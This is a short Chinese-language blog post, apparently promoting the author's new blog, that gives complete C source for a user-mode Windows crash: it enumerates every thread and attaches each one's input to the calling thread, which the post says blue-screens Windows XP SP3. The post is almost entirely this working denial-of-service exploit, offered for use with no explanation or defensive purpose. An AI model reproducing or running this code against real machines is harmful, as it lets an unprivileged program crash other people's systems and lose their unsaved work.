代码很简短,我就不注释&Copy MSDN了,User token is okay~稍微为新blog做做宣传吧... // //Ring3 User Token BSOD without Native API (Tested on SP3) //Author:wye-MIA kid C! //HomePage:http://wye-anger.blogspot.com/ #include <windows.h> #include <Tlhelp32.h> #pragma comment(lib,"user32.lib") void main() { HANDLE SnapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0); THREADENTRY32 tBuffer={0}; tBuffer.dwSize=sizeof(THREADENTRY32); if((SnapShotHandle!=INVALID_HANDLE_VALUE) && Thread32First(SnapShotHandle,&tBuffer)) { while (Thread32Next(SnapShotHandle,&tBuffer)) { AttachThreadInput(tBuffer.th32ThreadID,GetCurrentThreadId(),TRUE); } } return ; // }